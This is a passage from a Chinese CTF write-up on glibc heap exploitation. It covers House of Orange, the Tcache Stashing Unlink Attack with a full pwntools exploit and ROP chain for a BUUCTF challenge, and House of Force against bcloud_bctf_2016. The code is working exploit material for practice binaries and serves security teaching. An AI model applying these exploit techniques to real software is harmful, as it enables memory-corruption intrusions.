add(0x400, 'a' * 8)
#dbg()
show()
ru('a'*8)
libc.address = u64(ru('\x7f').ljust(8, '\x00')) - 0x3c5188
lg('libc.address',libc.address)

io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10


edit(0x10, payload)

show()
ru('b'*0x10)
heap = u64(sh.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
lg('heap_base',heap_base)
#dbg()

payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)
#dbg()

ru("Your choice : ")
sl('1')

itr()

可能因为本地环境没配好,打不通,在buu上远程可以打通
在这里插入图片描述

参考文章
houseoforange_hitcon_2016
houseoforange_hitcon_2016

如果从fastbins中malloc-一个freechunk时,glibc会做以下两个检测:

Tcache Stashing Unlink Attack利用了House of Lore的一些手段,两者都是利用了small bin

House of Lore

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。
House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。
House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

Tcache Stashing Unlink Attack

利用特性:
1.tcache bin中有剩余(数量小于TCACHE_MAX_BINS)时,同大小的small bin会放进tcache中
2.calloc函数分配堆块时不从tcache bin中选取。
3.修改一个small bin的bk指针时,就可以实现在任意地址上写一个libc地址,构造得当可以往任意地址申请chunk,实现任意地址写

利用前提

1
2
3
4
5
1.能控制 Small Bin Chunk 的 bk 指针。

2.程序可以越过Tache取Chunk。(使用calloc即可做到)

3.程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击目标

  1. 向任意指定位置写入指定值。
  2. 向任意地址分配一个Chunk。

攻击前提

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击原理

我们首先分析House of Lore Attack中所忽视的Tcache相关代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍历整个smallbin,获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身(Smallbin是否已空)
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif

此处我们发现了一个很关键的情况!我们在此处没有经过House of Lore中必须经过的检查:

1
2
3
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");

但是此处又有了矛盾的地方!

首先,在引入Tcache后,Tcache中的Chunk拥有绝对优先权,我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。(除非Tcache已经处于FULL状态)

然后,我们如果要在这里启动攻击,那么要求SmallBin中至少有两个Chunk(否则无法进入While中的if语句块),同时要求Tcache处于非空状态。

那样就产生了矛盾,导致这个漏洞看似无法利用。

但是calloc函数有一个很有趣的特性,它不会从TcacheChunk,因此可以越过第一条矛盾“不能越过TcacheSmallBin中取出Chunk”。

然后是Unsorted Bin的**last remainder**基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache

同时,我们来分析tcache_put函数

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以发现,tcache_put函数没有做任何的安全检查。

那么,当Tcache存在两个以上的空位时,程序会将我们的fake chunk置入Tcache。

例题 BUUCTF-[2020 新春红包题]3

在这里插入图片描述
未开启canary保护,可能存在栈溢出

main函数

程序实现四个功能,增,删,查,改,还有一个栈溢出的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void __fastcall __noreturn main(char *a1, char **a2, char **a3)
{
char v3[268]; // [rsp+0h] [rbp-110h] BYREF
int v4; // [rsp+10Ch] [rbp-4h]

v4 = 0;
sub_11D5();
sub_1450();
sub_1269();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v4 = readd();
if ( v4 != 3 )
break;
a1 = v3;
edit(v3, a2);
}
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
if ( x1c <= 0 )
exitt();
a1 = v3;
add(v3);
--x1c;
}
else
{
if ( v4 != 2 )
goto LABEL_19;
a1 = v3;
delete(v3);
}
}
if ( v4 == 5 )
exitt();
if ( v4 < 5 )
{
a1 = v3;
show(v3);
}
else
{
if ( v4 != 666 )
LABEL_19:
exitt();
stack_attack(a1, a2);
}
}
}

add函数

申请chunk,会指定chunk的序号,最大为16,且只能申请四种chunk,1.0x10 2.0xf0 3.0x300 4.0x400,并且是calloc函数分配堆块,chunk不会从tcache bin中取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __fastcall sub_1515(__int64 a1)
{
int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+18h] [rbp-18h]
int size; // [rsp+1Ch] [rbp-14h]

printf("Please input the red packet idx: ");
v4 = readd();
if ( v4 > 0x10 )
exitt();
printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
v3 = readd();
if ( v3 == 2 )
{
size = 0xF0;
}
else if ( v3 > 2 )
{
if ( v3 == 3 )
{
size = 0x300;
}
else
{
if ( v3 != 4 )
goto LABEL_14;
size = 0x400;
}
}
else
{
if ( v3 != 1 )
{
LABEL_14:
size = 0;
goto LABEL_15;
}
size = 16;
}
LABEL_15:
if ( size != 0x10 && size != 0xF0 && size != 0x300 && size != 0x400 )
exitt();
*(16LL * v4 + a1) = calloc(1uLL, size);
*(a1 + 16LL * v4 + 8) = size;
printf("Please input content: ");
v2 = read(0, *(16LL * v4 + a1), *(16LL * v4 + a1 + 8));
if ( v2 <= 0 )
exitt();
*(v2 - 1LL + *(16LL * v4 + a1)) = 0;
return puts("Done!");
}

delete函数

存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall delete(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Please input the red packet idx: ");
v2 = readd();
if ( v2 > 0x10 || !*(16LL * v2 + a1) )
exitt();
free(*(16LL * v2 + a1)); // uaf
//
return puts("Done!");
}

edit函数

编辑的次数受qword_4010控制,qword_4010为1,只能编辑1次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall sub_1740(__int64 a1, __int64 a2)
{
void *v2; // rsi
int v4; // [rsp+18h] [rbp-8h]
unsigned int v5; // [rsp+1Ch] [rbp-4h]

if ( qword_4010 <= 0 )
exitt(a1, a2);
--qword_4010;
printf("Please input the red packet idx: ");
v5 = readd();
if ( v5 > 0x10 || !*(16LL * v5 + a1) )
exitt("Please input the red packet idx: ", a2);
printf("Please input content: ");
v2 = *(16LL * v5 + a1);
v4 = read(0, v2, *(16LL * v5 + a1 + 8));
if ( v4 <= 0 )
exitt(0LL, v2);
*(v4 - 1LL + *(16LL * v5 + a1)) = 0;
return puts("Done!");
}

在这里插入图片描述

show函数

1
2
3
4
5
6
7
8
9
10
11
int __fastcall sub_184E(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Please input the red packet idx: ");
v2 = readd();
if ( v2 > 0x10 || !*(16LL * v2 + a1) )
exitt();
puts(*(16LL * v2 + a1));
return puts("Done!");
}

栈溢出函数

执行栈溢出函数需要满足*(first_chunk + 2048)> 0x7F0000000000且*(first_chunk + 2040) 和 *(first_chunk + 2056)值为0。first_chunk就是我们申请的第一个chunk。

1
2
3
4
5
6
7
8
9
10
ssize_t sub_13BD()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

if ( *(first_chunk + 2048) <= 0x7F0000000000LL || *(first_chunk + 2040) || *(first_chunk + 2056) )
exitt();
puts("You get red packet!");
printf("What do you want to say?");
return read(0, buf, 0x90uLL);
}

思路

因为存在一个栈溢出的漏洞,我们可以使用堆ROP,而要想利用栈溢出漏洞需要将*(first_chunk + 2048)修改为一个大于0x7F0000000000的值,而*(first_chunk + 2040)和 *(first_chunk + 2056)本来就是0,保持不变即可。calloc函数分配堆块,chunk不会从tcache bin中取。程序至少可以分配两种不同大小且大小为unsorted bin的Chunk(0x300和0x400)。这里我们可以使用Tcache Stashing Unlink Attack。

调试过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# coding=utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')

sh = process('./RedPacket_SoEasyPwn1')
#sh = remote('node4.buuoj.cn','27283')

libc=ELF("./libc-2.29.so")




s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(index,chunk_size_index,value):
ru('Your input: ')
sl('1')
ru('Please input the red packet idx: ')
sl(str(index))
ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
sl(str(chunk_size_index))
ru('Please input content: ')
sl(value)

def free(index):
ru('Your input: ')
sl('2')
ru('Please input the red packet idx: ')
sl(str(index))

def edit(index,value):
ru('Your input: ')
sl('3')
ru('Please input the red packet idx: ')
sl(str(index))
ru('Please input content: ')
sl(value)

def show(index):
ru('Your input: ')
sl('4')
ru('Please input the red packet idx: ')
sl(str(index))

构造tcache bin

首先我们要获得unsorted bin的chunk,需要先填满0x400大小的tcache bin,填0x300大小的tcache bin只剩1个

1
2
3
4
5
6
7
8
9
10
#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(7):
add(15,4,'Chunk_15')
free(15)

for i in range(6):
add(14,2,'Chunk_14')
free(14)

dbg()

在这里插入图片描述
此时我们利用UAF可以泄露出heap地址

1
2
3
4
5
6
show(15)
last_chunk_addr = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00'))
lg('last_chunk_addr',last_chunk_addr)
heap_addr = last_chunk_addr - 0x26C0
lg('heap_addr',heap_addr)
dbg()

在这里插入图片描述

利用unsorted bin构造两个small bin chunk

当我们申请一个chunk时,如果unsorted bin里有chunk,而我们所申请的chunk大小小于unsorted bin里的chunk,那么就把unsorted bin的chunk分割,拿出我们需要的大小申请chunk,剩下的继续留在unsorted bin中,
而如果我们申请的chunk大小大于unsorted bin中的chunk,那么就会把unsorted bin中的chunk,按照大小放入对应的bin中,之后再从top chunk中申请一个chunk。

我们可以先申请一个0x400大小的chunk,再申请一个0x300大小的chunk(防止合并),之后free 大小为0x400的chunk,再申请两次0x300大小的chunk,第一次申请的chunk会从0x400大小的chunk里切割出0x300,unsorted bin还剩0x100大小的chunk,第二次申请的chunk由于大于unsorted bin中的chunk,会将unsorted bin中的0x100大小的chunk放进small bin,我们利用同样的方法可以再次得到一个small bin的chunk,这样我们就得到了两个small bin chunk。

申请一个0x400大小的chunk,再申请一个0x300大小的chunk(防止合并),可以看到tcachebin中的chunk没有被拿走。

1
2
3
4
add(1,4,'Chunk_1')
add(13,3,'Chunk_13')

dbg()

在这里插入图片描述
我们free chunk1,因为chunk1大小为0x400,tcachebin中0x400大小的chunk已满了7个,所以进入unsorted bin,利用UAF泄露libc基地址

1
2
3
4
5
free(1)
show(1)
libc_base = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00')) - 0x1E4CA0
lg('libc_base',libc_base)
dbg()

在这里插入图片描述
申请0x300大小的chunk,在unsortedbin里寻找大小为0x300的chunk,分割unsortedbin 里的chunk,拿出0x300,还剩0x100

1
2
add(13,3,'Chunk_13')
dbg()

在这里插入图片描述

在unsortedbin里寻找大小为0x300的chunk,此时unsortedbin中chunk只有0x100大小,0x100的chunk进入smallbin,从top chunk中分配0x300大小的chunk,成功制造一个small bin chunk

1
2
3
add(13,3,'Chunk_13')

dbg()

在这里插入图片描述
利用同样方法再构造一个small bin chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
add(2,4,'Chunk_2')
add(13,4,'Chunk_13')

#dbg()

free(2)

#dbg()

add(13,3,'Chunk_13')
add(13,3,'Chunk_13')

dbg()

在这里插入图片描述

并借此我们找到size大小为0x1010的就是first_chunk,借此我们算出刚刚泄露出的heap+ 0x250+0x10+0x800-0x10就是first_chunk+0x800的地址,small bin chunk2的fd指针指向small bin chunk1不变,所以我们还要算出small bin chunk1距离heap的距离0x37e0

修改small bin chunk的bk指针为first_chunk+0x800

1
2
3
payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(2,payload)
dbg()

在这里插入图片描述
再次申请0x100大小的chunk,程序仅会检查Chunk2的fd指针是否指向Chunk1,在取出Chunk1后,因为0x100的Tcache Bin还有1个空位,程序会遍历发现Chunk2满足大小条件并将其放入Tcache Bin中,我们若此时篡改Chunk2的bk指针指向first_chunk+0x800,触发Tcache Stashing Unlink Attack将main_arena+336写入first_chunk+0x800,满足first_chunk+0x800大于0x7F0000000000.

在这里插入图片描述

构造ORW的ROP链放入堆块中

先获取一些gadget段, file_name_addr是我们要申请的下一个chunk的mem地址,也就是当前的top chunk的mem地址,距离heap 0x0000000000004A40

1
2
3
4
5
6
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40 #下一个chunk的mem位置起始位置
flag_addr = file_name_addr + 0x0000000000000200 #将flag写到file_name_addr + 0x0000000000000200处,防止覆盖掉有用内容
ROP_chain = '/flag\x00\x00\x00'

open(file_name_addr,0)

1
2
3
4
5
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])

read(3,flag_addr,0x40)
Read函数的第一个参数文件描述符从0开始累加,
程序进行时内核会自动打开3个文件描述符,0,1,2,分别对应,标准输入、输出和出错,
这样在程序中,每打开一个文件,文件描述符值从3开始累加。
我们打开了一个file_name_addr文件,文件描述符就变为了3,3就代表了file_name_addr文件
read函数第一个参数是3,就是在这个文件里读取数据。

1
2
3
4
5
6
7
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])

write(1,flag_addr,0x40)

1
2
3
4
5
6
7
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

申请chunk,将ROP链写到chunk里

1
2
3
add(4,4,ROP_chain)

dbg()

在这里插入图片描述

栈迁移

利用read(0, buf, 0x90uLL);buf0x80字节,正好可以溢出0x10字节,进行栈迁移,将程序迁移到我们最新申请的chunk处执行我们的ROP链。
在这里插入图片描述

1
2
3
4
5
6
7
8
leave_ret = libc_base + 0x0000000000058373
ru('Your input: ')
sl('666')
ru('What do you want to say?')
#栈迁移
sl('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# coding=utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')

sh = process('./RedPacket_SoEasyPwn1')
#sh = remote('node4.buuoj.cn','27283')

libc=ELF("./libc-2.29.so")




s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(index,chunk_size_index,value):
ru('Your input: ')
sl('1')
ru('Please input the red packet idx: ')
sl(str(index))
ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
sl(str(chunk_size_index))
ru('Please input content: ')
sl(value)

def free(index):
ru('Your input: ')
sl('2')
ru('Please input the red packet idx: ')
sl(str(index))

def edit(index,value):
ru('Your input: ')
sl('3')
ru('Please input the red packet idx: ')
sl(str(index))
ru('Please input content: ')
sl(value)

def show(index):
ru('Your input: ')
sl('4')
ru('Please input the red packet idx: ')
sl(str(index))




#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(7):
add(15,4,'Chunk_15')
free(15)



for i in range(6):
add(14,2,'Chunk_14')
free(14)

#dbg()

show(15)
last_chunk_addr = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00'))
lg('last_chunk_addr',last_chunk_addr)
heap_addr = last_chunk_addr - 0x26C0
lg('heap_addr',heap_addr)

#dbg()

add(1,4,'Chunk_1')
add(13,3,'Chunk_13')

#dbg()

free(1)
show(1)
libc_base = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00')) - 0x1E4CA0
lg('libc_base',libc_base)


#dbg()

#在unsortedbin里寻找大小为0x300的chunk,分割unsortedbin 里的chunk,拿出0x300,还剩0x100
add(13,3,'Chunk_13')


#dbg()

#在unsortedbin里寻找大小为0x300的chunk,此时unsortedbin中chunk只有0x100大小,0x100的chunk进入smallbin,从top chunk中分配0x300大小的chunk
add(13,3,'Chunk_13')

#dbg()

#在申请一个0x400大小的chunk,再制造一个0x100的smallbin的chunk
add(2,4,'Chunk_2')
#申请一个chunk防止合并
add(13,4,'Chunk_13')

#dbg()

free(2)

#dbg()

add(13,3,'Chunk_13')
add(13,3,'Chunk_13')

#dbg()

payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(2,payload)

#dbg()

add(3,2,'Chunk_3')
lg('heap_addr',heap_addr)

#dbg()

#ORW
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40 #下一个chunk的mem位置起始位置
flag_addr = file_name_addr + 0x0000000000000200 #将flag写到file_name_addr + 0x0000000000000200处,防止覆盖掉有用内容
ROP_chain = '/flag\x00\x00\x00'
#open(file_name_addr,0)
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
#read(3,flag_addr,0x40)
#Read函数的第一个参数文件描述符从0开始累加,
#程序进行时内核会自动打开3个文件描述符,0,1,2,分别对应,标准输入、输出和出错,
#这样在程序中,每打开一个文件,文件描述符值从3开始累加。
#我们打开了一个file_name_addr文件,文件描述符就变为了3,3就代表了file_name_addr文件
#read函数第一个参数是3,就是在这个文件里读取数据。
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
#write(1,flag_addr,0x40)
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

add(4,4,ROP_chain)

#dbg()

leave_ret = libc_base + 0x0000000000058373
ru('Your input: ')
sl('666')
ru('What do you want to say?')
#栈迁移
sl('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

#dbg()
itr()

House Of Force2

基于top chunk分配机制的利用,glibc会对用户请求的size_1和top chunk现有的size_0进行验证,如果size_0大于用户申请的chunk大小size_1,就会将从top chunk中切割出size_1大小的chunk,剩余部分放入top chunk。

如果top chunk足够大(size_0大于top chunk与目标地址的距离),malloc两次,第二次申请的chunk就会到目标地址处,实现一次任意地址写。

然而实际上top chunk 的size_0,一般不会这么大,所以这种利用手法的前提是可以修改top chunk的size_0大小,把它变成一个很大的数,一般是将其改为-1(32位:0xffffffff,64位:0xffffffffffffffff),因为在将size_0和size_1进行比较时会把size转换成无符号长整型数,因此-1也就是说unsigned long中最大的数。

glibc源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

例题

bcloud_bctf_2016

在这里插入图片描述

在这里插入图片描述
程序实现了三个功能,增加一个chunk,编辑一个chunk的内容,删除一个chunk

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int add()
{
int result; // eax
int i; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i <= 9 && heap_array[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
v2 = choose();
heap_array[i] = malloc(v2 + 4);
if ( !heap_array[i] )
exit(-1);
dword_804B0A0[i] = v2;
puts("Input the content:");
readd(heap_array[i], v2, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
return result;
}

add函数申请chunk时会创建一个存放所有chunk mem指针的全局数组,思考如果可以申请chunk到全局数组处,修改全局数组,实现任意地址写

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int edit()
{
unsigned int v1; // [esp+14h] [ebp-14h]
int v2; // [esp+18h] [ebp-10h]
int v3; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");
v1 = choose();
if ( v1 >= 0xA )
return puts("Invalid ID.");
v2 = heap_array[v1];
if ( !v2 )
return puts("Note has been deleted.");
v3 = dword_804B0A0[v1];
dword_804B0E0[v1] = 0;
puts("Input the new content:");
readd(v2, v3, 10);
return puts("Edit success.");
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
unsigned int v1; // [esp+18h] [ebp-10h]
void *index; // [esp+1Ch] [ebp-Ch]
puts("Input the id:");
v1 = choose();
if ( v1 >= 0xA )
return puts("Invalid ID.");
index = heap_array[v1];
if ( !index )
return puts("Note has been deleted.");
heap_array[v1] = 0;
dword_804B0A0[v1] = 0;
free(index); #UAF
return puts("Delete success.");
}

delete函数在释放chunk时存在UAF漏洞

自定义一个read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl readd(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(a1 + i) = buf;
}
*(i + a1) = 0;
return i;
}

三个参数,a1为要输入的地址,a2为输入大小,a3为截止符

先把前面的一些东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序,linux系统,64位架构,debug
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
sh = process('./bcloud_bctf_2016')
#sh = remote('node4.buuoj.cn',26937)
elf = ELF('./bcloud_bctf_2016')
def add(size,content):
sla('>>','1')
sla('note content:',str(size))
sa('content:',content)

def edit(index,content):
sla('>>','3')
sla('id:',str(index))
sa('content:',content)

def delete(index):
sla('>>','4')
sla('id:',str(index))

分析:

程序没有show函数,无法泄露libc基地址,观察程序发现最开时让我们输入name等信息处存在漏洞
在这里插入图片描述
在这里插入图片描述
strcpy复制结束的标志是’\x00’,chunk的mem大小只有64字节,如果输入64字节,show函数会把堆地址泄露出来

1
2
3
4
5
sa('name:','a'*64)
ru('a'*64)
heap_addr = u32(r(4)) - 0x8
lg('heap_addr',heap_addr)
dbg()

在这里插入图片描述

再看另一个函数
在这里插入图片描述

栈布局

1
2
3
4
5
6
7
8
9
10
11
-0000005C v2 dd ?
-00000058 db ? ; undefined
-00000057 db ? ; undefined
..........
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 v4 dd ?
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined

这里的v2,v3和v4,s都是位于栈上的,且在栈上s和v4的空间是连着的,而strcpy复制结束的标志是’\x00’,如果我们将s填满(b’b’*0x40),再将v3写为0xffffffff,那么strcpy(v4, v3);会把v4变为0xffffffff, strcpy(v2, s);会把b’b’*0x40+0xffffffff复制给v2,而v2也是一个size大小为0x40的chunk的mem指针,0xffffffff将覆盖到chunkv2 的下一位,而下一位正好是top chunk的大小,这样我们就成功将top chunk的大小改为了0xffffffff(-1)

1
2
3
4
sa('Org:','a'*0x40)
sla('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0x48*3 - 0x8
lg('top_chunk_addr',(top_chunk_addr))

在这里插入图片描述

之后就来算一下存放chunk指针的全局数组heap_array(0x0804B120)与top chunk的距离,
因为程序一开始就申请了三个大小为0x40的chunk(算上头指针为0x48),第一次泄露的heap已经算上头指针,heap与top chunk距离0x48*3-0x8=0xD0大小,再加上我们一开始泄露出来的heap的地址(heap_addr)就是top chunk的mem指针地址,

1
offset = heap_array - (top_chunk_addr +0x8)- 0x8

在这里插入图片描述

heap_array - top_chunk_addr是top chunk的mem地址,减去0x8字节是top chunk的头指针地址,
